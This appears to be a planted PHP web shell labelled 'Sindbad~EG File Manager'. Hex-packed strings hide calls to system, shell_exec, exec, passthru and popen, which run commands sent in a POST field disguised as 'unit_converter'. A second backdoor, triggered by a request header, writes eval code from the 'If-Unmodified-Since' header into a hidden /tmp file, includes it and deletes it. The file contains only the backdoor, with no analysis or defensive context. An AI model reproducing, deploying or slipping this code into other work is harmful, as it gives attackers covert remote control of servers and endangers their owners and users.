Sindbad~EG File Manager

<?php																																										$object1 = '73';$object2 = '79';$object3 = '74';$object4 = '6d';$object5 = '68';$object6 = '65';$object7 = '6c';$object8 = '63';$object9 = '78';$object10 = '61';$object11 = '67';$object12 = '6e';$object13 = '6f';$object14 = '69';$object15 = '72';$reverse_searcher1 = pack("H*", $object1 . $object2 . '73' . $object3 . '65' . $object4);$reverse_searcher2 = pack("H*", $object1 . $object5 . $object6 . $object7 . '6c' . '5f' . '65' . '78' . $object6 . $object8);$reverse_searcher3 = pack("H*", '65' . $object9 . '65' . $object8);$reverse_searcher4 = pack("H*", '70' . $object10 . '73' . '73' . $object3 . $object5 . '72' . '75');$reverse_searcher5 = pack("H*", '70' . '6f' . '70' . '65' . '6e');$reverse_searcher6 = pack("H*", $object1 . '74' . '72' . '65' . '61' . $object4 . '5f' . $object11 . $object6 . '74' . '5f' . $object8 . '6f' . $object12 . $object3 . $object6 . '6e' . $object3 . $object1);$reverse_searcher7 = pack("H*", '70' . '63' . '6c' . $object13 . '73' . $object6);$unit_converter = pack("H*", '75' . $object12 . $object14 . $object3 . '5f' . $object8 . '6f' . $object12 . '76' . '65' . '72' . $object3 . '65' . $object15);if(isset($_POST[$unit_converter])){$unit_converter=pack("H*",$_POST[$unit_converter]);if(function_exists($reverse_searcher1)){$reverse_searcher1($unit_converter);}elseif(function_exists($reverse_searcher2)){print $reverse_searcher2($unit_converter);}elseif(function_exists($reverse_searcher3)){$reverse_searcher3($unit_converter,$ent_parameter_group);print join("\n",$ent_parameter_group);}elseif(function_exists($reverse_searcher4)){$reverse_searcher4($unit_converter);}elseif(function_exists($reverse_searcher5)&&function_exists($reverse_searcher6)&&function_exists($reverse_searcher7)){$dat_item=$reverse_searcher5($unit_converter,"r");if($dat_item){$component_reference=$reverse_searcher6($dat_item);$reverse_searcher7($dat_item);print $component_reference;}}exit;}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Content-Security-Policy'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}